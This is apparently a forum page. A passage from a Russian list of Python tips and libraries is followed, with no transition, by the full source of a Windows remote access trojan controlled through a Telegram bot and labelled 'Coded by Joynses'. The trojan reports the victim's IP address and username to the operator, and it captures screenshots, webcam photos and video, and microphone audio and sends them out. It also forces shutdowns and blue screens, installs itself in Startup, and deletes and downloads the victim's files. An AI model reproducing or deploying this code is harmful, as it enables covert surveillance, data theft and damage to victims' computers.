разрабатываются и выходят новые версии. Новые версии — новые возможности, но
только не для вас, если вы пользуетесь устаревшей.
Впрочем, не всё так плохо. Модуль future даёт возможность импортировать функциональность будущих версий Python. Это прямо как путешествие во времени, или магия:
Code:Copy to clipboard
from __future__ import print_function
print("Hello World!")
Почему бы не попробовать импортировать фигурные скобки?
geopy
Программистам может быть сложно ориентироваться в географии. Однако модуль
geopy всё упрощает:
Code:Copy to clipboard
$ pip install geopy
Он работает путём абстрагирования API разных сервисов геокодирования. Этот модуль даёт возможность узнать полный адрес места, его долготу и широту и даже высоту.
Также в нём есть полезный класс Distance. Он высчитывает расстояние между двумя местами в удобной единице измерения.
Code:Copy to clipboard
from geopy import GoogleV3
place = "221b Baker Street, London"
location = GoogleV3().geocode(place)
print(location.address)
print(location.location)
howdoi
Зависли над какой-то проблемой и не можете вспомнить её решение? Нужно зайти
на StackOverflow, но не хочется покидать терминал?
Тогда вам не обойтись без этого инструмента командной строки:
Code:Copy to clipboard
$ pip install howdoi
Задайте любой вопрос, и он постарается найти ответ на него:
Code:Copy to clipboard
$ howdoi vertical align css
$ howdoi for loop in java
$ howdoi undo commits in git
Но будьте осторожны: он извлекает код из топовых ответов на StackOverflow и не всегда даёт полезную информацию:
Code:Copy to clipboard
$ howdoi exit vim
inspect
Модуль inspect пригодится для понимания того, что происходит за кулисами в
Python. Вы даже можете вызывать его методы на них самих!
Ниже используется метод inspect.getsource() для вывода его собственного исходного кода. Также используется метод inspect.getmodule() для вывода модуля, в котором его определили.
Последняя команда выводит номер строки, на которой она сама находится:
Code:Copy to clipboard
import inspect
print(inspect.getsource(inspect.getsource))
print(inspect.getmodule(inspect.getmodule))
print(inspect.currentframe().f_lineno)
Конечно, кроме таких банальных применений этот модуль может оказаться полезным для понимания того, что делает ваш код. Также вы можете использовать его, чтобы писать самодокументированный код.
Jedi
Библиотека Jedi предназначена для автодополнения и анализа кода. Она ускоряет
процесс написания кода и делает его более продуктивным.
Если вы не разрабатываете свою IDE, то вам, наверное, будет более интересно использовать Jedi в качестве расширения редактора. К счастью, уже есть много вариантов.
Возможно, вы уже встречались с Jedi — IPython использует эту библиотеку для автодополнения.
**kwargs
Когда изучаешь любой язык, на пути встречается множество краеугольных камней.
В случае с Python понимание таинственного синтаксиса **kwargs можно считать
одним из них.
Две звёздочки впереди объекта словаря дают возможность передавать в функцию содержимое этого словаря как именованные аргументы.
Ключи словаря — это имена аргументов, а значения передаются в функцию. Вам даже не обязательно называть его kwargs:
Code:Copy to clipboard
dictionary = {"a": 1, "b": 2}
def some_function(a, b):
print(a + b)
return
# оба варианта делают одно и то же:
some_function(**dictionary)
some_function(a=1, b=2)
Это полезно в тех случаях, когда ваши функции должны обрабатывать именованные аргументы, не определённые заранее.
Прим.перев. Также это может пригодиться при написании функций-обёрток, которые передают все аргументы другой функции.
Генераторы списков
Ещё одна классная особенность Python, дающая возможность быстро создавать
списки. Такие выражения позволяют легко писать чистый код, который читается
почти как естественный язык:
Code:Copy to clipboard
numbers = [1, 2, 3, 4, 5, 6, 7]
evens = [x for x in numbers if x % 2 == 0]
odds = [y for y in numbers if y not in evens]
cities = ['Лондон', 'Москва', 'Берлин']
def visit(city):
print("Добро пожаловать в", city)
for city in cities:
visit(city)
map
У Python есть хорошая встроенная поддержка функционального программирования.
Одной из самых полезных возможностей является функция map(), особенно в
сочетании с лямбда-функциями:
Code:Copy to clipboard
x = [1, 2, 3]
y = map(lambda x: x + 1 , x)
# выводит [2, 3, 4]
print(list(y))
Здесь map() применяет простую лямбда-функцию на каждом элементе x и возвращает объект map, который можно преобразовать в какой-нибудь итерируемый объект вроде списка или кортежа.
newspaper3k
Если вы ещё с ним не встречались, то приготовьтесь к тому, что модуль
newspaper снесёт вам крышу.
Он даёт возможность извлекать статьи и связанные мета-данные из множества разных источников. Можно извлечь изображения, текст и имена авторов.
В нём даже есть встроенная NLP-функциональность.
Поэтому, если вы собирались использовать BeautifulSoup или другую библиотеку для вебскрапинга в своём следующем проекте, лучше сэкономьте своё время и силы и установите newspaper:
Code:Copy to clipboard
$ pip install newspaper3k
Перегрузка операторов
В Python есть поддержка перегрузки операторов — одной из тех штук, о которых
говорят все настоящие computer-scientis’ы.
На самом деле идея проста. Когда-нибудь задумывались, почему Python позволяет использовать оператор + как для сложения чисел, так и для конкатенации строк? За этим как раз и стоит перегрузка операторов.
Вы можете определять объекты, которые используют стандартные символы операторов любым образом. Это позволяет применять их в контексте объектов, с которыми вы работаете:
Code:Copy to clipboard
class Thing:
def __init__(self, value):
self.__value = value
# Переопределяем оператор >
def __gt__(self, other):
return self.__value > other.__value
# Переопределяем оператор <
def __lt__(self, other):
return self.__value < other.__value
something = Thing(100)
nothing = Thing(0)
# True
something > nothing
# False
something < nothing
# Error
something + nothing
pprint
Стандартная функция Python print() делает своё дело. Но если попытаться
вывести какой-нибудь большой вложенный объект, результат будет выглядеть не
очень приятно.
Здесь на помощь приходит модуль из стандартной библиотеки pprint (pretty print). С его помощью можно выводить объекты со сложной структурой в читабельном виде.
Мастхэв для любого Python-разработчика, работающего с нестандартными структурами данных:
Code:Copy to clipboard
import requests
import pprint
url = 'https://randomuser.me/api/?results=1'
users = requests.get(url).json()
pprint.pprint(users)
Queue
Python поддерживает многопоточность, в использовании которой помогает
стандартный модуль Queue.
Он позволяет реализовывать такую структуру данных, как очередь. Очереди позволяют добавлять и извлекать элементы согласно определённому правилу.
Очереди «первым пришёл — первым ушёл» («first in, first out», FIFO) позволяют извлекать объекты в порядке их добавления. Из очередей «последним пришёл — первым ушёл» («last in, first out», LIFO) можно извлекать последние добавленные объекты.
Наконец, приоритетные очереди позволяют извлекать объекты согласно порядку их сортировки.
Здесь можно посмотреть на пример использования очередей в многопоточном программировании на Python.
repr
При определении класса или объекта полезно добавлять «официальный» способ
представления объекта строкой. Например:
Code:Copy to clipboard
>>> file = open('file.txt', 'r')
>>> print(file)
<open file 'file.txt', mode 'r' at 0x10d30aaf0>
Это сильно упрощает отладку. Вот всё, что вам нужно сделать:
Code:Copy to clipboard
class SomeClass:
def __repr__(self):
return "<какое-то описание>"
some_instance = SomeClass()
# выводит <какое-то описание>
print(some_instance)
Прим.перев. Метод repr() позволяет определять строковое представление, предназначенное для программиста и удобное при использовании во время отладки, а метод str() позволяет определять понятное пользователю строковое представление, которое можно отображать в интерфейсе программы.
sh
Python — отличный скриптовый язык. Но иногда стандартные библиотеки os и
subprocess вызывают только головную боль.
Библиотека sh может стать приятной альтернативой.
Она позволяет вызывать любую программу как обычную функцию, что полезно для автоматизации различных задач исключительно с помощью Python:
Code:Copy to clipboard
import sh
sh.pwd()
sh.mkdir('new_folder')
sh.touch('new_file.txt')
sh.whoami()
sh.echo('This is great!')
Прим.перев. Библиотека sh поддерживает только платформы Linux и macOS; для работы на Windows вам придётся поискать другой инструмент.
Аннотации типов
Python — динамически типизированный язык. Вам не нужно указывать тип данных
при определении переменных, функций, классов и т.д.
Это позволяет ускорить процесс разработки. Однако мало что раздражает так сильно, как ошибка времени выполнения, возникшая из-за простого несовпадения типа.
С версии Python 3.5 при определении функции можно добавлять аннотации типов:
Code:Copy to clipboard
def add_two(x: Int) -> Int:
return x + 2
Можно даже определять псевдонимы типов:
Code:Copy to clipboard
from typing import List
Vector = List[float]
Matrix = List[Vector]
def add_matrix(a: Matrix, b: Matrix) -> Matrix:
result = []
for i, row in enumerate(a):
result_row = []
for j, col in enumerate(row):
result_row += [a[i][j] + b[i][j]]
result += [result_row]
return result
x = [1, 2]
y = [3, 4]
z = add_matrix(x, y)
Хотя их использование опционально, с помощью аннотаций типов код можно сделать более понятным.
Также они позволяют использовать инструменты для проверки типов, чтобы отлавливать ошибки TypeError.
uuid
Стандартный модуль uuid — быстрый и простой способ сгенерировать UUID
(universally unique identifier, глобально уникальный идентификатор).
Code:Copy to clipboard
import uuid
user_id = uuid.uuid4()
print(user_id)
Так мы создаём случайное 128-битное число, которое почти наверняка будет уникальным.
Существует более 2¹²² возможных UUID. Это более 5 ундециллионов или 5,000,000,000,000,000,000,000,000,000,000,000,000.
Вероятность нахождения дубликатов в заданном наборе крайне мала. Даже при наличии триллиона UUID вероятность того, что среди них есть дубликат, гораздо меньше, чем один к миллиарду.
Вполне недурно для двух строк кода.
Виртуальные среды
Часто Python-программисты работают над несколькими проектами одновременно. К
сожалению, порой два проекта зависят от разных версий одной зависимости. Какую
же установить?
К счастью, в Python есть поддержка виртуальных сред, которые позволяют взять лучшее от двух миров. В командной строке нужно ввести:
Code:Copy to clipboard
$ python3 -m venv my-project
$ source my-project/bin/activate
$ pip install all-the-modules
Теперь вы можете иметь разные независимые версии Python на одной машине.
wikipedia
У Wikipedia есть классное API, которое позволяет получить доступ к
непревзойдённому источнику полностью бесплатной информации.
Модуль wikipedia делает доступ к этому API чуть ли чрезмерно удобным:
Code:Copy to clipboard
import wikipedia
result = wikipedia.page('freeCodeCamp')
print(result.summary)
for link in result.links:
print(link)
Как и настоящий сайт, модуль предоставляет поддержку многих языков, разрешение многозначности страниц, получение случайной страницы и даже метод donate().
xkcd
Юмор — ключевая особенность Python. В конце концов, язык был назван в честь
британского комедийного шоу «Летающий цирк Монти Пайтона». Во многих местах
официальной документации можно найти отсылки к самым известным эпизодам шоу.
Конечно, чувство юмора не заканчивается на документации. Попробуйте ввести следующую строку:
Code:Copy to clipboard
import antigravity
Оставайся собой, Python. Оставайся собой.
YAML
YAML означает «YAML — не язык разметки» («YAML Ain’t Markup Language»). Это
язык форматирования данных, являющийся надмножеством JSON.
В отличие от JSON, YAML может хранить более сложные объекты и ссылаться на собственные элементы. Также там можно писать комментарии, что делает YAML подходящим для конфигурационных файлов.
Модуль PyYAML позволяет использовать YAML в Python. Установить можно так:
Code:Copy to clipboard
$ pip install pyyaml
А затем импортировать:
Code:Copy to clipboard
import yaml
PyYAML позволяет хранить любые Python-объекты и экземпляры любых пользовательских классов.
zip
Напоследок ещё одна клёвая штука. Когда-нибудь возникала необходимость создать
словарь из двух списков?
Code:Copy to clipboard
keys = ['a', 'b', 'c']
vals = [1, 2, 3]
zipped = dict(zip(keys, vals))
Встроенная функция zip() принимает несколько итерируемых объектов и возвращает последовательность кортежей. Каждый кортеж группирует элементы объектов по их индексу.
Можно провести операцию, обратную zip(), с помощью zip(*).
А какие приёмы или полезные библиотеки знаете вы? Делитесь в комментариях.
[CLIKE]
Python:Copy to clipboard
# -*- coding: utf8 -*-
import os
import sys
import cv2
import wave
import time
import winreg
import socket
import shutil
import string
import smtplib
import sqlite3
import telebot
import zipfile
import pyaudio
import requests
import platform
import webbrowser
import subprocess
from PIL import ImageGrab
from telebot import types
from telebot import util
from ctypes import *
from ctypes.wintypes import *
token = '[B]Токен бота[/B]'
adm = '[B]ваш id[/B]'
bot = telebot.TeleBot(token)
menu = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/1\n<<')
button2 = types.KeyboardButton('/2\n>>')
button3 = types.KeyboardButton('/Screen\n?')
button4 = types.KeyboardButton('/Webcam\n?')
button5 = types.KeyboardButton('/WebcamVid\n?')
button6 = types.KeyboardButton('/Audio\n?')
button7 = types.KeyboardButton('/Power\n?')
button8 = types.KeyboardButton('/AutoRun\n?')
menu.row(button1, button3, button2)
menu.row(button4, button5, button6)
menu.row(button7, button8)
main2 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/WebcamVid5')
button2 = types.KeyboardButton('/WebcamVid10')
button3 = types.KeyboardButton('/WebcamVid15')
button4 = types.KeyboardButton('/CancelMain')
main2.row(button1)
main2.row(button2)
main2.row(button3)
main2.row(button4)
main3 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/Audio5')
button2 = types.KeyboardButton('/Audio10')
button3 = types.KeyboardButton('/Audio15')
button4 = types.KeyboardButton('/CancelMain')
main3.row(button1)
main3.row(button2)
main3.row(button3)
main3.row(button4)
main4 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/PowerOff\n⛔')
button2 = types.KeyboardButton('/Reboot\n⭕')
button3 = types.KeyboardButton('/BSoD\n?')
button4 = types.KeyboardButton('/CancelMain')
main4.row(button1, button2)
main4.row(button3)
main4.row(button4)
main5 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/Startup\n?')
button2 = types.KeyboardButton('/Remove\n♻')
button3 = types.KeyboardButton('/CancelMain')
main5.row(button1)
main5.row(button2)
main5.row(button3)
main6 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/3\n<<')
button2 = types.KeyboardButton('/Screen\n?')
button3 = types.KeyboardButton('/4\n>>')
button4 = types.KeyboardButton('/Files\n?')
button5 = types.KeyboardButton('/Tasklist\n?')
button6 = types.KeyboardButton('/Taskkill\n?')
main6.row(button1, button2, button3)
main6.row(button4)
main6.row(button5, button6)
main7 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/CD\n?')
button2 = types.KeyboardButton('/PWD\n?')
button3 = types.KeyboardButton('/Delete\n?')
button4 = types.KeyboardButton('/Download\n?')
button5 = types.KeyboardButton('/Run\n?')
button6 = types.KeyboardButton('/CancelFiles')
main7.row(button1, button2)
main7.row(button3, button4, button5)
main7.row(button6)
main8 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/5\n<<')
button2 = types.KeyboardButton('/Screen\n?')
button3 = types.KeyboardButton('/6\n>>')
button4 = types.KeyboardButton('/Message\n?')
button5 = types.KeyboardButton('/OpenURL\n?')
button6 = types.KeyboardButton('/OpenEXE\n?')
main8.row(button1, button2, button3)
main8.row(button4)
main8.row(button5, button6)
main9 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/StartFile\n?')
button2 = types.KeyboardButton('/InfinityOpen\n?')
button3 = types.KeyboardButton('/CancelFun')
main9.row(button1, button2)
main9.row(button3)
main10 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/RunPaint\n?')
button2 = types.KeyboardButton('/RunCMD\n◼')
button3 = types.KeyboardButton('/RunEXE\n?')
button4 = types.KeyboardButton('/CancelFun')
main10.row(button1, button2)
main10.row(button3)
main10.row(button4)
main11 = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/RuunPaint\n? ? ?')
button2 = types.KeyboardButton('/RuunCMD\n◼ ◼ ◼')
button3 = types.KeyboardButton('/RuunEXE\n? ? ?')
button4 = types.KeyboardButton('/CancelFun')
main11.row(button1, button2)
main11.row(button3)
main11.row(button4)
try:
r = requests.get('http://ip.42.pl/raw')
IP = r.text
bot.send_message(adm,
'\n? Online!' +
'\n ' + '\nPC » ' + os.getlogin() +
'\nOS » ' + platform.system() + ' ' + platform.release() +
'\n ' +
'\nIP » ' + IP,
reply_markup=menu)
except:
time.sleep(60)
os.startfile(sys.argv[0])
@bot.message_handler(commands=['Start', 'start'])
def start(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm,
'Привет, хацкер!'
'\n'
'\n—————————————————————'
'\nЧтобы узнать команды ратника, используйте'
'\n• /Help'
'\n—————————————————————'
'\n'
'\n`Coded by Joynses` | Xss.is one love?',
parse_mode="Markdown")
@bot.message_handler(commands=['Help', 'help'])
def help(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm,
'ᅠᅠᅠᅠᅠ ⚙ *Команды* ⚙'
'\n'
'\n—————————————————————'
'\n/Screen - Скриншот экрана'
'\n/Webcam - Фото с вебки'
'\n/WebcamVid - Видео с вебки'
'\n/Audio - Запись микрофона'
'\n/Power - Управление питанием'
'\n> /PowerOff - Выключить'
'\n> /Reboot - Перезагрузить'
'\n> /BSoD - Синий экран смерти'
'\n/AutoRun - Сохранить | Удалить'
'\n> /Startup - Добавить в автозагрузку'
'\n> /Remove - Удалить ратник'
'\n—————————————————————'
'\n/Files - Файловый менеджер'
'\n> /CD - Текущая директория'
'\n> /Pwd - Просмотр содержимого'
'\n> /Delete - Удалить файл'
'\n> /Download - Скачать файл'
'\n> /Run - Запустить файл'
'\n/Tasklist - Список процессов'
'\n/Taskkill - Остановить процесс'
'\n—————————————————————'
'\n/Message - Отправить сообщение'
'\n/OpenURL - Открыть ссылку'
'\n/OpenEXE - Открыть программу'
'\n> /StartFile - Открыть один раз'
'\n> /InfinityOpen - Открыть много раз'
'\n—————————————————————'
'\n '
'\n`Coded by Joynses` | Xss one live ?',
reply_markup=menu, parse_mode="Markdown")
@bot.message_handler(commands=['3', '6'])
def main(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=menu)
@bot.message_handler(commands=['2', '5'])
def main(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main6)
@bot.message_handler(commands=['4', '1'])
def main(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main8)
@bot.message_handler(commands=['Screen', 'screen'])
def screen(command):
bot.send_chat_action(adm, 'upload_photo')
screen = ImageGrab.grab()
screen.save(os.getenv("ProgramData") + '\\Screenshot.jpg')
screen = open('C:\\ProgramData\\Screenshot.jpg', 'rb')
bot.send_photo(adm, screen)
screen.close()
try:
os.remove('C:\\ProgramData\\Screenshot.jpg')
except:
print('Error > Screenshot')
@bot.message_handler(commands=['Webcam', 'webcam'])
def webcam(command):
bot.send_chat_action(adm, 'upload_photo')
try:
cap = cv2.VideoCapture(0)
for i in range(30):
cap.read()
ret, frame = cap.read()
cv2.imwrite('C:\\ProgramData\\Webcam.jpg', frame)
cap.release()
webcam = open('C:\\ProgramData\\Webcam.jpg', 'rb')
bot.send_photo(adm, webcam)
webcam.close()
os.remove('C:\\ProgramData\\Webcam.jpg')
except:
bot.send_message(adm, '*Камера не найдена*', parse_mode="Markdown")
@bot.message_handler(commands=['WebcamVid', 'webcamvid'])
def webcam(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите длительность видео*', reply_markup=main2, parse_mode='Markdown')
@bot.message_handler(commands=['WebcamVid5', 'webcamvid5'])
def webcam5(command):
try:
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'upload_video')
capture_duration = 5
cap = cv2.VideoCapture(0)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('C:\\ProgramData\\WebcamVid.mp4',fourcc, 20.0, (640,480))
start_time = time.time()
while( int(time.time() - start_time) < capture_duration ):
ret, frame = cap.read()
if ret==True:
frame = cv2.flip(frame,1)
out.write(frame)
else:
break
cap.release()
out.release()
cv2.destroyAllWindows()
webcamvid = open('C:\\ProgramData\\WebcamVid.mp4', 'rb')
bot.send_video(adm, webcamvid)
webcamvid.close()
os.remove('C:\\ProgramData\\WebcamVid.mp4')
except:
bot.send_message(adm, '*Камера не найдена*', parse_mode="Markdown")
@bot.message_handler(commands=['WebcamVid10', 'webcamvid10'])
def webcam10(command):
try:
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'upload_video')
capture_duration = 10
cap = cv2.VideoCapture(0)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('C:\\ProgramData\\WebcamVid.mp4',fourcc, 20.0, (640,480))
start_time = time.time()
while( int(time.time() - start_time) < capture_duration ):
ret, frame = cap.read()
if ret==True:
frame = cv2.flip(frame,1)
out.write(frame)
else:
break
cap.release()
out.release()
cv2.destroyAllWindows()
webcamvid = open('C:\\ProgramData\\WebcamVid.mp4', 'rb')
bot.send_video(adm, webcamvid)
webcamvid.close()
os.remove('C:\\ProgramData\\WebcamVid.mp4')
except:
bot.send_message(adm, '*Камера не найдена*', parse_mode="Markdown")
@bot.message_handler(commands=['WebcamVid15', 'webcamvid15'])
def webcam15(command):
try:
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'upload_video')
capture_duration = 15
cap = cv2.VideoCapture(0)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('C:\\ProgramData\\WebcamVid.mp4',fourcc, 20.0, (640,480))
start_time = time.time()
while( int(time.time() - start_time) < capture_duration ):
ret, frame = cap.read()
if ret==True:
frame = cv2.flip(frame,1)
out.write(frame)
else:
break
cap.release()
out.release()
cv2.destroyAllWindows()
webcamvid = open('C:\\ProgramData\\WebcamVid.mp4', 'rb')
bot.send_video(adm, webcamvid)
webcamvid.close()
os.remove('C:\\ProgramData\\WebcamVid.mp4')
except:
bot.send_message(adm, '*Камера не найдена*', parse_mode="Markdown")
@bot.message_handler(commands=['Audio', 'audio'])
def audio(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите длительность записи*', reply_markup=main3, parse_mode="Markdown")
@bot.message_handler(commands=['Audio5', 'audio5'])
def audio5(command):
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'record_audio')
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
RECORD_SECONDS = 5
WAVE_OUTPUT_FILENAME = "C:\\ProgramData\\voice.wav"
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE/CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
wf.close()
voice = open("C:\\ProgramData\\voice.wav", "rb")
bot.send_voice(adm, voice)
voice.close()
try:
os.remove("C:\\ProgramData\\voice.wav")
except:
print('Error > Audio')
@bot.message_handler(commands=['Audio10', 'audio10'])
def audio10(command):
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'record_audio')
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
RECORD_SECONDS = 10
WAVE_OUTPUT_FILENAME = "C:\\ProgramData\\voice.wav"
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE/CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
wf.close()
voice = open("C:\\ProgramData\\voice.wav", "rb")
bot.send_voice(adm, voice)
voice.close()
try:
os.remove("C:\\ProgramData\\voice.wav")
except:
print('Error > Audio')
@bot.message_handler(commands=['Audio15', 'audio15'])
def audio15(command):
bot.send_message(adm, "Подождите...", reply_markup=menu)
bot.send_chat_action(adm, 'record_audio')
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
RECORD_SECONDS = 15
WAVE_OUTPUT_FILENAME = "C:\\ProgramData\\voice.wav"
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE/CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
wf.close()
voice = open("C:\\ProgramData\\voice.wav", "rb")
bot.send_voice(adm, voice)
voice.close()
try:
os.remove("C:\\ProgramData\\voice.wav")
except:
print('Error > Audio')
@bot.message_handler(commands=['Power', 'power'])
def power(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите действие*', reply_markup=main4, parse_mode="Markdown")
@bot.message_handler(commands=['Reboot', 'reboot'])
def reboot(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Компьютер перезагружен! ✔*', reply_markup=menu, parse_mode="Markdown")
os.system('shutdown -r /t 0 /f')
@bot.message_handler(commands=['PowerOff', 'PowerOff'])
def poweroff(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Компьютер выключен! ✔*', reply_markup=menu, parse_mode="Markdown")
os.system('shutdown -s /t 0 /f')
@bot.message_handler(commands=['BSoD', 'bsod'])
def bsod(command):
try:
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*BSoD Активирован! ✔*', reply_markup=menu, parse_mode="Markdown")
tmp1 = c_bool()
tmp2 = DWORD()
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))
except:
bot.send_message(adm, 'Error > BSoD')
@bot.message_handler(commands=['AutoRun', 'autorun'])
def autorun(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите действие*', reply_markup=main5, parse_mode="Markdown")
@bot.message_handler(commands=['Startup', 'startup'])
def startup(commands):
bot.send_chat_action(adm, 'typing')
try:
shutil.copy2((sys.argv[0]), r'C:\\Users\\' + os.getlogin() + '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup')
bot.send_message(adm, '*' + os.path.basename(sys.argv[0]) + ' скопирован в автозагрузку! ✔*', parse_mode="Markdown")
os.startfile('C:\\Users\\' + os.getlogin() + '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\' + os.path.basename(sys.argv[0]))
bot.send_message(adm, '*' + os.path.basename(sys.argv[0]) + ' запущен из автозагрузки! ✔*', parse_mode="Markdown")
bot.send_message(adm, '*Завершаем текущий процесс...*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Ошибка ❌*', reply_markup=menu, parse_mode="Markdown")
@bot.message_handler(commands=['Remove', 'remove'])
def remove(command):
try:
shutil.move(sys.argv[0], 'C:\\ProgramData')
bot.send_message(adm, '*' + os.path.basename(sys.argv[0]) + ' удален с компьютера! ✔*', parse_mode="Markdown")
bot.send_message(adm, '*Завершаем текущий процесс...*', parse_mode="Markdown")
os.system('taskkill /im ' + os.path.basename(sys.argv[0]) + ' /f')
except:
bot.send_message(adm, '*Ошибка ❌*', parse_mode="Markdown")
@bot.message_handler(commands=['CancelMain', 'cancelmain'])
def cancel(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=menu)
@bot.message_handler(commands=['Files', 'files'])
def files(command):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main7)
@bot.message_handler(commands=['CD'])
def cd(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.chdir(user_msg.split("/CD ")[1])
bot.send_message(adm, '*Директория изменена*\n \n`' + os.getcwd() + '`', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Директория не найдена*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Текущая директория*\n \n`' + os.getcwd() + '`', parse_mode="Markdown")
@bot.message_handler(commands=['cd'])
def cd(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.chdir(user_msg.split("/cd ")[1])
bot.send_message(adm, '*Директория изменена*\n \n`' + os.getcwd() + '`', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Директория не найдена*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Текущая директория*\n \n`' + os.getcwd() + '`', parse_mode="Markdown")
@bot.message_handler(commands=['Delete'])
def delete(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.remove(os.getcwd() + '\\' + user_msg.split("/Delete ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/Delete ")[1] + '* удален!', parse_mode="Markdown")
except:
try:
shutil.rmtree(os.getcwd() + '\\' + user_msg.split("/Delete ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/Delete ")[1] + '* удален!', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/Delete', parse_mode="Markdown")
@bot.message_handler(commands=['delete'])
def delete(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.remove(os.getcwd() + '\\' + user_msg.split("/delete ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/delete ")[1] + '* удален!', parse_mode="Markdown")
except:
try:
shutil.rmtree(os.getcwd() + '\\' + user_msg.split("/delete ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/delete ")[1] + '* удален!', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/delete', parse_mode="Markdown")
@bot.message_handler(commands=['Download'])
def download(message):
try:
user_msg = "{0}".format(message.text)
download = open(os.getcwd() + '\\' + user_msg.split("/Download ")[1], 'rb')
bot.send_chat_action(adm, 'upload_document')
bot.send_document(adm, download)
except:
try:
shutil.make_archive('C:\\ProgramData\\' + user_msg.split("/Download ")[1],
'zip',
os.getcwd(),
user_msg.split("/Download ")[1])
bot.send_chat_action(adm, 'upload_document')
file = open('C:\\ProgramData\\' + user_msg.split("/Download ")[1] + '.zip', 'rb')
bot.send_document(adm, file)
file.close()
os.remove('C:\\ProgramData\\' + user_msg.split("/Download ")[1] + '.zip')
except:
try:
os.remove('C:\\ProgramData\\' + user_msg.split("/Download ")[1] + '.zip')
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/Download', parse_mode="Markdown")
